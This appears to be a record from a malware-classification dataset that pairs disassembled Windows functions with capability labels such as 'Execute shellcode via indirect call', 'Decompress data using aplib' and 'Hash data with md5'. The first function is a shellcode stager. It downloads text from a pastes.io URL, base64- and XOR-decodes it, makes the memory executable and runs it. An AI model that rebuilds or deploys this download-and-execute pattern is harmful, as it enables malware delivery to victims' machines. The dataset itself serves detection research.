joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001155
Capabilities:
Allocate or change rwx memory
Create http request
Decode data using base64 via winapi
Encode data using xor
Execute shellcode via indirect call
Get token membership
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x878
movaps xmmword [rsp + 0x860], xmm6
call fcn.14000102f
call fcn.1400010c7
call fcn.14000112a
xor eax, eax
lea rsi, [rsp + 0x68]
mov dword [rsi], eax
mov word [rsi + 4], 0x500
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
mov rcx, rsi
mov dl, 2
mov r8d, 0x20
mov r9d, 0x220
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x64], eax
test eax, eax
je 0x1400011fc
mov rdx, qword [rsp + 0x70]
lea r8, [rsp + 0x64]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
je 0x1400011e2
mov eax, dword [rsp + 0x64]
mov dword [rsp + 0x64], eax
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x64], 0
jne 0x140001373
lea rdx, [0x140007545]
lea r8, [0x140007540]
xor ecx, ecx
mov r9d, 0x30
call qword [sym.imp.USER32.dll_MessageBoxA]
mov dword [rsp + 0x20], 0
lea rcx, str.Mozilla_5.0
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
je 0x1400012ab
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rdx, str.https:__pastes.io_raw_eqti7egcql
mov rcx, rdi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
test rax, rax
je 0x1400012ab
mov rbx, rax
lea r14, [rsp + 0x80]
mov rcx, r14
call fcn.140001022
lea r9, [rsp + 0x64]
mov rcx, rbx
mov rdx, r14
mov r8d, 0x7d0
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r14, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call r14
mov rcx, rbx
call r14
jmp 0x1400012b4
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rsp + 0x68], 0
xorps xmm6, xmm6
movups xmmword [rsp + 0x28], xmm6
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0x80]
xor edx, edx
mov r8d, 1
xor r9d, r9d
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov ecx, dword [rsp + 0x68]
test rcx, rcx
je 0x14000134a
call fcn.140001000
mov rbx, rax
movups xmmword [rsp + 0x28], xmm6
mov qword [rsp + 0x20], rsi
lea rcx, [rsp + 0x80]
xor edx, edx
mov r8d, 1
mov r9, rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov esi, dword [rsp + 0x68]
mov rcx, rsi
call fcn.140001000
mov rdi, rax
test rsi, rsi
je 0x140001358
xor eax, eax
lea rcx, [0x140007140]
mov edx, eax
and edx, 3
mov dl, byte [rdx + rcx]
xor dl, byte [rbx + rax]
mov byte [rdi + rax], dl
inc rax
cmp esi, eax
jne 0x140001333
jmp 0x14000135a
xor esi, esi
xor ecx, ecx
call fcn.140001000
mov rdi, rax
jmp 0x14000135a
xor esi, esi
lea r9, [rsp + 0x7c]
mov rcx, rdi
mov rdx, rsi
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rdi
xor eax, eax
movaps xmm6, xmmword [rsp + 0x860]
add rsp, 0x878
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x140001070
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x38
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
test eax, eax
je 0x1400010bc
movzx r8d, byte [rsp + 0x20]
lea rcx, str.Processor__u_is_on_NUMA_node__u._n
xor edx, edx
call fcn.140001010
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400010f0
add rsp, 0x38
ret
lea rcx, str.Error_retrieving_NUMA_information._Exiting_program._n
call fcn.140001010
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x1400019b0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019fa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019fa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019fa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019fa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019fa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019fc
xor al, al
add rsp, 0x28
ret
Function at 0x1400111e5
Capabilities:
Terminate process

Disassembly:
jmp 0x140014f50
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001125d
Capabilities:
Parse pe header

Disassembly:
jmp 0x140012c60
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140012c80
xor al, al
jmp 0x140012d01
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140012c93
xor al, al
jmp 0x140012d01
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140012cbd
xor al, al
jmp 0x140012d01
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140012cd1
xor al, al
jmp 0x140012d01
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140012ce3
xor al, al
jmp 0x140012d01
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140012cff
xor al, al
jmp 0x140012d01
mov al, 1
add rsp, 0x38
ret

Function at 0x14001128a
Capabilities:
Create process on windows

Disassembly:
jmp 0x140011760
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x30]
lea rcx, [0x14002109f]
call fcn.14001134d
lea rax, str.EasyAntiCheatEasyAntiCheat_EOS_Setup.exe
mov qword [rbp + 8], rax
lea rax, str.install_a8a9427750e7427fa950e517a6a36363
mov qword [rbp + 0x28], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x28]
mov r8, qword [rbp + 8]
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov byte [rbp + 0x44], 1
mov byte [rbp + 0x64], 0
movzx eax, byte [rbp + 0x44]
test eax, eax
je 0x1400117e2
mov byte [rbp + 0x64], 1
jmp 0x1400117e6
mov byte [rbp + 0x64], 0
xor eax, eax
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x62d93330
Capabilities:
Get storage device properties

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x108
lea rbx, [rsp + 0x70]
mov rdi, rdx
mov ebp, ecx
xor edx, edx
mov rcx, rdi
mov rsi, r8
call fcn.62e01e78
mov rcx, rbx
mov r8d, ebp
lea rdx, str..PhysicalDrive_d
call qword [0x62e24558]
xor r9d, r9d
xor edx, edx
mov rcx, rbx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov r8d, 3
mov dword [rsp + 0x20], 3
call qword [0x62e24270]
cmp rax, 0xffffffffffffffff
mov rbx, rax
je 0x62d9341c
lea r12, [0x62e1b240]
xor edx, edx
mov r8d, 0x2710
mov dword [rsp + 0x60], 0
lea r13, [rsp + 0x64]
mov qword [rsp + 0x64], 0
mov rcx, r12
mov dword [rsp + 0x6c], 0
call fcn.62e01e78
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x28], 0x2710
mov qword [rsp + 0x20], r12
mov r9d, 0xc
mov r8, r13
mov qword [rsp + 0x30], rax
mov edx, 0x2d1400
mov rcx, rbx
call qword [0x62e24288]
test eax, eax
jne 0x62d93444
mov rcx, rbx
call qword [0x62e24268]
cmp rsi, 0x13
jbe 0x62d935f0
mov rdx, rdi
mov ecx, ebp
call fcn.62d92f80
add rsp, 0x108
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov eax, dword [0x62e1b258]
test eax, eax
je 0x62d93413
add rax, r12
mov r15, qword [0x62e244a8]
mov r13d, 0x64
mov qword [rsp + 0x58], rax
mov r12, rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov r14, rax
test r13d, r13d
movzx edx, byte [r12]
je 0x62d93520
test dl, dl
je 0x62d93520
movsx ecx, dl
mov byte [rsp + 0x4e], dl
call r15
test eax, eax
je 0x62d935c0
movzx edx, byte [rsp + 0x4e]
cmp dl, 0x39
jg 0x62d935a0
sub edx, 0x30
movsx ecx, byte [r12 + 1]
shl edx, 4
mov byte [rsp + 0x4e], dl
mov byte [rsp + 0x4f], cl
call r15
test eax, eax
je 0x62d935c0
movzx edx, byte [rsp + 0x4f]
cmp dl, 0x39
jg 0x62d935b0
sub edx, 0x30
or dl, byte [rsp + 0x4e]
add r12, 2
movzx ecx, dl
mov byte [rsp + 0x4e], dl
call qword [0x62e244a0]
test eax, eax
je 0x62d935c0
movzx edx, byte [rsp + 0x4e]
cmp dl, 0x20
je 0x62d93476
sub r13d, 1
mov byte [r14], dl
add r14, 1
test r13d, r13d
movzx edx, byte [r12]
jne 0x62d93484
mov r8, qword [rsp + 0x50]
mov byte [r14], 0
mov edx, dword [r8]
add r8, 4
lea eax, [rdx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x62d93529
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea rdx, [r8 + 2]
mov ecx, eax
cmove r8, rdx
add cl, al
sbb r8, 3
sub r8, qword [rsp + 0x50]
cmp r8d, esi
mov r12d, r8d
jae 0x62d93413
mov rdx, qword [rsp + 0x50]
add r8, 1
mov rcx, rdi
call fcn.62e01e88
mov rcx, rbx
call qword [0x62e24268]
test r12d, r12d
je 0x62d9341c
xor eax, eax
jmp 0x62d93430
and edx, 0xffffffdf
sub edx, 0x37
jmp 0x62d934af
and edx, 0xffffffdf
sub edx, 0x37
jmp 0x62d934dc
mov rcx, qword [rsp + 0x58]
call fcn.62e01e30
cmp eax, esi
mov r12d, eax
jae 0x62d93413
mov rdx, qword [rsp + 0x58]
lea r8, [rax + 1]
mov rcx, rdi
call fcn.62e01e88
jmp 0x62d93580
mov eax, 0xffffffff
jmp 0x62d93430
Function at 0x62d93860
Capabilities:
Get storage device properties

Disassembly:
sub rsp, 0x28
test r9, r9
mov eax, ecx
mov rcx, rdx
jne 0x62d93892
test eax, eax
je 0x62d938b0
cmp eax, 1
je 0x62d938d0
cmp eax, 2
je 0x62d938e0
cmp eax, 3
je 0x62d938f0
cmp eax, 4
jne 0x62d938fa
mov edx, r8d
add rsp, 0x28
jmp fcn.62d93230
test eax, eax
je 0x62d938c0
cmp eax, 1
jne 0x62d93919
cmp byte [r9], 0x2a
mov edx, r8d
jne 0x62d938f0
add rsp, 0x28
jmp fcn.62d92ab0
mov edx, r8d
add rsp, 0x28
jmp fcn.62d93600
mov r8d, r8d
mov rcx, r9
add rsp, 0x28
jmp fcn.62d936f0
mov edx, r8d
add rsp, 0x28
jmp fcn.62d92ca0
mov edx, r8d
add rsp, 0x28
jmp fcn.62d92e30
mov eax, 0xffffffff
add rsp, 0x28
ret
lea r8, str.Unsupported_hardware_type
lea rcx, str..._src_hdinfo.c
mov edx, 0x82
call fcn.62d841f0
mov eax, 0xffffffff
jmp 0x62d938f5
lea r8, str.Unsupported_hardware_type_with_name
lea rcx, str..._src_hdinfo.c
mov edx, 0x6d
call fcn.62d841f0
mov eax, 0xffffffff
jmp 0x62d938f5
Function at 0x62d99150
Capabilities:
Hash data with md5

Disassembly:
sub rsp, 0x28
test rcx, rcx
je 0x62d9918a
xor eax, eax
mov dword [rcx + 8], 0x67452301
mov dword [rcx + 0xc], 0xefcdab89
mov dword [rcx + 0x10], 0x98badcfe
mov dword [rcx + 0x14], 0x10325476
mov dword [rcx + 0x18], 0
mov qword [rcx], 0
add rsp, 0x28
ret
lea rdx, str.src_hashes_md5.c
lea rcx, [0x62e0e2f1]
mov r8d, 0xe9
call fcn.62d9e0f0
nop
nop
nop word cs:[rax + rax]
Function at 0x62d991b0
Capabilities:
Hash data with md5

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
mov rbx, rcx
mov rsi, rdx
je 0x62d993c0
test rdx, rdx
je 0x62d993d9
mov edx, dword [rcx + 0x18]
mov eax, 0x10
cmp edx, 0x3f
jbe 0x62d991e4
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
lea r8d, [rdx*8]
add r8, qword [rcx]
mov eax, edx
mov qword [rcx], r8
lea ecx, [rdx + 1]
cmp ecx, 0x38
mov dword [rbx + 0x18], ecx
mov byte [rbx + rax + 0x1c], pe_nt_image_headers64
ja 0x62d99340
cmp ecx, 0x38
lea rdi, [rbx + 0x1c]
je 0x62d99309
mov edx, ecx
lea r9d, [rcx + 1]
mov eax, ecx
not edx
mov byte [rbx + rax + 0x1c], 0
and edx, 7
cmp r9d, 0x38
je 0x62d99302
test edx, edx
je 0x62d992ad
cmp edx, 1
je 0x62d9929b
cmp edx, 2
je 0x62d9928f
cmp edx, 3
je 0x62d99283
cmp edx, 4
je 0x62d99276
cmp edx, 5
je 0x62d99269
cmp edx, 6
je 0x62d9925d
mov byte [rbx + r9 + 0x1c], 0
lea r9d, [rcx + 2]
mov ecx, r9d
add r9d, 1
mov byte [rbx + rcx + 0x1c], 0
mov r10d, r9d
add r9d, 1
mov byte [rbx + r10 + 0x1c], 0
mov r11d, r9d
add r9d, 1
mov byte [rbx + r11 + 0x1c], 0
mov edx, r9d
add r9d, 1
mov byte [rbx + rdx + 0x1c], 0
mov eax, r9d
add r9d, 1
mov byte [rbx + rax + 0x1c], 0
mov ecx, r9d
add r9d, 1
cmp r9d, 0x38
mov byte [rbx + rcx + 0x1c], 0
je 0x62d99302
lea r11d, [r9 + 1]
lea edx, [r9 + 2]
mov r10d, r9d
mov byte [rbx + r10 + 0x1c], 0
lea eax, [r9 + 3]
lea ecx, [r9 + 4]
mov byte [rbx + r11 + 0x1c], 0
lea r10d, [r9 + 5]
mov byte [rbx + rdx + 0x1c], 0
lea r11d, [r9 + 6]
lea edx, [r9 + 7]
add r9d, 8
cmp r9d, 0x38
mov byte [rbx + rax + 0x1c], 0
mov byte [rbx + rcx + 0x1c], 0
mov byte [rbx + r10 + 0x1c], 0
mov byte [rbx + r11 + 0x1c], 0
mov byte [rbx + rdx + 0x1c], 0
jne 0x62d992ad
mov dword [rbx + 0x18], 0x38
mov qword [rbx + 0x54], r8
mov rdx, rdi
mov rcx, rbx
call fcn.62d98910
mov r9d, dword [rbx + 8]
xor eax, eax
mov dword [rsi], r9d
mov edi, dword [rbx + 0xc]
mov dword [rsi + 4], edi
mov r8d, dword [rbx + 0x10]
mov dword [rsi + 8], r8d
mov ebx, dword [rbx + 0x14]
mov dword [rsi + 0xc], ebx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
cmp ecx, 0x40
je 0x62d993a7
lea edi, [rdx + 2]
mov byte [rbx + rcx + 0x1c], 0
cmp edi, 0x40
je 0x62d993a0
lea r8d, [rdx + 3]
mov byte [rbx + rdi + 0x1c], 0
cmp r8d, 0x40
je 0x62d993a0
lea r9d, [rdx + 4]
mov byte [rbx + r8 + 0x1c], 0
cmp r9d, 0x40
je 0x62d993a0
lea r10d, [rdx + 5]
mov byte [rbx + r9 + 0x1c], 0
cmp r10d, 0x40
je 0x62d993a0
lea r11d, [rdx + 6]
mov byte [rbx + r10 + 0x1c], 0
cmp r11d, 0x40
je 0x62d993a0
cmp edx, 0x38
mov byte [rbx + r11 + 0x1c], 0
jne 0x62d993a0
mov byte [rbx + 0x5b], 0
mov dword [rbx + 0x18], 0x40
lea rdi, [rbx + 0x1c]
mov rcx, rbx
mov rdx, rdi
call fcn.62d98910
mov r8, qword [rbx]
xor ecx, ecx
jmp 0x62d99215
lea rdx, str.src_hashes_md5.c
lea rcx, [0x62e0e2f1]
mov r8d, 0x106
call fcn.62d9e0f0
lea rdx, str.src_hashes_md5.c
lea rcx, [0x62e0e2fc]
mov r8d, 0x107
call fcn.62d9e0f0
nop
nop dword [rax]
nop word cs:[rax + rax]
Function at 0x62de1530
Capabilities:
Check for software breakpoints

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
test r8d, r8d
mov rbp, rcx
je 0x62de1570
mov rcx, qword [rdx + 0x10]
cmp dword [rcx + 8], 0xcd
je 0x62de1562
test byte [rcx + 0xd], 0x10
jne 0x62de1562
cmp qword [rdx + 0x28], 0
jne 0x62de1562
cmp qword [rcx + 0x28], rdx
je 0x62de1573
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, rdx
mov rsi, qword [rdx + 0x18]
mov rbx, qword [rcx]
mov rdi, qword [rdx + 0x20]
and esi, 0x7fff
test rbx, rbx
je 0x62de1562
mov edx, dword [rbx + 8]
movsxd r12, esi
cmp edx, 0x5c
je 0x62de15f3
ja 0x62de1610
lea eax, [rdx - 7]
cmp eax, 1
jbe 0x62de1562
mov rcx, rbp
call fcn.62de1120
test al, 4
jne 0x62de1562
mov edx, eax
and edx, 3
cmp edx, 3
je 0x62de1690
mov edx, eax
and edx, 0x300
cmp edx, 0x300
je 0x62de16c0
and eax, 0x30000
mov rcx, rbx
cmp eax, 0x30000
je 0x62de16e6
mov rbx, qword [rcx]
test rbx, rbx
je 0x62de1562
mov edx, dword [rbx + 8]
cmp edx, 0x5c
jne 0x62de1594
mov rax, qword [rbx + 0x10]
and eax, 0x7fff
cmp r12, rax
je 0x62de1623
mov rcx, rbx
jmp 0x62de15df
cmp edx, 0xcd
jne 0x62de159e
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp word [rbx + 0xc], 0
jne 0x62de1562
cmp qword [rbx + 0x18], rdi
jne 0x62de1562
cmp rcx, rbx
mov rax, qword [rbx]
je 0x62de1720
mov qword [rcx], rax
mov qword [rbx], 0
mov qword [rbx + 8], 0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
mov qword [rbx + 0x20], 0
mov qword [rbx + 0x28], 0
mov rax, qword [rbp + 0x38]
mov rdx, qword [rax + 0x100]
mov qword [rbx], rdx
mov qword [rax + 0x100], rbx
jmp 0x62de15df
test al, 8
je 0x62de1700
mov edx, dword [rbx + 0x10]
and edx, 0x7fff
cmp edx, esi
je 0x62de1562
mov edx, dword [rbx + 0x14]
and edx, 0x7fff
cmp edx, esi
jne 0x62de15b8
jmp 0x62de1562
mov rdx, qword [rbx + 0x18]
and edx, 0x7fff
cmp r12, rdx
je 0x62de1562
and eax, 0x30000
mov rcx, rbx
cmp eax, 0x30000
jne 0x62de15df
mov rax, qword [rbx + 0x20]
and eax, 0x7fff
cmp r12, rax
jne 0x62de15df
jmp 0x62de1562
mov rdx, qword [rbx + 0x10]
and edx, 0x7fff
cmp r12, rdx
jne 0x62de15b8
jmp 0x62de1562
mov rdx, qword [rbp + 0x38]
mov qword [rdx], rax
jmp 0x62de1647
Function at 0x62dffa50
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
and rsp, 0xfffffffffffffff0
sub rsp, 0x20
cmp dword [rcx + 0x244], 0x10
ja 0x62dffad0
mov rbx, rcx
mov ecx, dword [rcx + 0x238]
mov rsi, rdx
mov edi, r8d
call fcn.62d9e130
test eax, eax
mov r14d, eax
jne 0x62dffad6
mov eax, dword [rbx + 0x240]
test eax, eax
jne 0x62dffac1
movsxd rcx, dword [rbx + 0x244]
test ecx, ecx
jne 0x62dffaf0
cmp qword [rbx + 0x248], 0
je 0x62dffce0
lea r13, [rbx + 0x228]
lea r12, [rbx + 0x1f8]
jmp 0x62dffb6a
cmp eax, 1
je 0x62dffcf0
nop word [rax + rax]
mov r14d, 0x10
lea rsp, [rbp - 0x38]
mov eax, r14d
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, dword [rbx + 0x23c]
lea r13, [rbx + 0x228]
test eax, eax
jne 0x62dffb30
cmp ecx, 0xc
jne 0x62dffb30
mov rax, qword [rbx + 0x228]
mov qword [rbx + 0x208], rax
mov eax, dword [r13 + 8]
mov dword [rbx + 0x214], 0x1000000
mov dword [rbx + 0x210], eax
jmp 0x62dffbd5
lea eax, [rcx - 1]
lea r12, [rbx + 0x1f8]
lea r8, [rbx + rax + 0x1f9]
mov rdx, r12
movzx eax, byte [rdx + 0x30]
xor byte [rdx], al
add rdx, 1
cmp rdx, r8
jne 0x62dffb45
shl rcx, 3
add qword [rbx + 0x248], rcx
mov rdx, r12
mov rcx, rbx
call fcn.62d98250
mov edx, 8
mov rcx, r13
call fcn.62d9ec30
mov rax, qword [rbx + 0x248]
mov rdx, r12
bswap rax
mov qword [rbx + 0x230], rax
lea rax, [rbx + 0x208]
movzx ecx, byte [rdx + 0x30]
xor byte [rdx], cl
add rdx, 1
cmp rax, rdx
jne 0x62dffb92
mov rdx, r12
mov rcx, rbx
call fcn.62d98250
mov rdx, qword [rbx + 0x200]
mov rax, qword [rbx + 0x1f8]
mov rcx, r12
mov qword [rbx + 0x210], rdx
mov qword [rbx + 0x208], rax
mov edx, 0x10
call fcn.62d9ec30
mov rdx, qword [rbx + 0x210]
mov rax, qword [rbx + 0x208]
mov rcx, r13
mov qword [rbx + 0x220], rdx
mov qword [rbx + 0x218], rax
mov edx, 0x10
call fcn.62d9ec30
mov qword [rbx + 0x240], 1
mov qword [rbx + 0x248], 0
mov r13d, edi
and r13d, 0xfffffff0
je 0x62dffd10
lea r15, [rbx + 0x1f8]
xor r12d, r12d
nop dword [rax + rax]
mov eax, r12d
mov rdx, r15
mov rcx, rbx
mov rax, qword [rsi + rax]
xor qword [rbx + 0x1f8], rax
lea eax, [r12 + 8]
add r12d, 0x10
mov rax, qword [rsi + rax]
xor qword [rbx + 0x200], rax
call fcn.62d98250
sub qword [rbx + 0x248], 0xffffffffffffff80
cmp r12d, r13d
jb 0x62dffc30
mov eax, r12d
add rsi, rax
cmp edi, r12d
jbe 0x62dffad6
sub edi, 1
sub edi, r12d
lea r12, [rsi + rdi + 1]
lea rdi, [rbx + 0x1f8]
jmp 0x62dffc99
cmp rsi, r12
je 0x62dffad6
movsxd rdx, dword [rbx + 0x244]
add rsi, 1
movzx ecx, byte [rsi - 1]
lea eax, [rdx + 1]
mov dword [rbx + 0x244], eax
xor byte [rbx + rdx + 0x1f8], cl
cmp eax, 0x10
jne 0x62dffc90
mov rdx, rdi
mov rcx, rbx
call fcn.62d98250
mov dword [rbx + 0x244], 0
sub qword [rbx + 0x248], 0xffffffffffffff80
jmp 0x62dffc90
mov r14d, 1
jmp 0x62dffad6
mov eax, dword [rbx + 0x244]
cmp eax, 0xf
jg 0x62dffad0
xor r12d, r12d
test eax, eax
jne 0x62dffc70
jmp 0x62dffc14
xor r12d, r12d
jmp 0x62dffc70
Function at 0x62e00140
Capabilities:
Encode data using xor

Disassembly:
push r14
push r13
push r12
push rbp
mov ebp, 0x10
push rdi
push rsi
push rbx
sub rsp, 0x20
mov eax, dword [rcx + 0x240]
test eax, eax
jne 0x62e00281
cmp dword [rcx + 0x244], 0xf
mov rbx, rcx
ja 0x62e00281
mov ecx, dword [rcx + 0x238]
mov rsi, rdx
mov r12d, r8d
call fcn.62d9e130
test eax, eax
mov ebp, eax
jne 0x62e00281
mov eax, dword [rbx + 0x244]
lea edx, [rax + r12]
cmp edx, 0xc
jbe 0x62e001a2
or dword [rbx + 0x23c], 1
xor edi, edi
test eax, eax
jne 0x62e001fb
mov r13d, r12d
and r13d, 0xfffffff0
je 0x62e00292
lea r14, [rbx + 0x1f8]
nop dword [rax]
mov eax, edi
mov rdx, r14
mov rcx, rbx
mov rax, qword [rsi + rax]
xor qword [rbx + 0x1f8], rax
lea eax, [rdi + 8]
add edi, 0x10
mov rax, qword [rsi + rax]
xor qword [rbx + 0x200], rax
call fcn.62d98250
sub qword [rbx + 0x248], 0xffffffffffffff80
cmp edi, r13d
jb 0x62e001c0
mov eax, edi
add rsi, rax
cmp r12d, edi
jbe 0x62e00281
sub r12d, 1
lea r13, [rbx + 0x1f8]
sub r12d, edi
lea rdi, [rbx + 0x208]
lea r12, [rsi + r12 + 1]
jmp 0x62e00225
cmp r12, rsi
je 0x62e00281
movsxd rdx, dword [rbx + 0x244]
add rsi, 1
lea ecx, [rdx + 1]
mov dword [rbx + 0x244], ecx
movzx eax, byte [rsi - 1]
cmp ecx, 0x10
mov byte [rbx + rdx + 0x228], al
jne 0x62e00220
mov rdx, r13
nop dword [rax]
movzx ecx, byte [rdx + 0x30]
xor byte [rdx], cl
add rdx, 1
cmp rdi, rdx
jne 0x62e00250
mov rdx, r13
mov rcx, rbx
call fcn.62d98250
sub qword [rbx + 0x248], 0xffffffffffffff80
cmp r12, rsi
mov dword [rbx + 0x244], 0
jne 0x62e00225
add rsp, 0x20
mov eax, ebp
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov edi, eax
jmp 0x62e001fb
Function at 0x140913108
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14091328f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140913139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14091311f
add dl, dl
jne 0x140913146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409131a6
xor eax, eax
add dl, dl
jne 0x140913155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14091325d
add dl, dl
jne 0x140913166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140913173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140913180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14091318d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14091319a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14091312e
mov eax, 1
add dl, dl
jne 0x1409131b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409131c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409131ab
sub eax, ebx
mov ebx, 1
jne 0x1409131fc
mov ecx, 1
add dl, dl
jne 0x1409131de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1409131eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409131d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14091312e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140913218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140913225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14091320d
cmp eax, 0x7d00
jae 0x14091324b
cmp eax, 0x500
jb 0x140913246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14091312e
cmp eax, 0x7f
ja 0x14091324e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14091312e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140913282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14091312e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20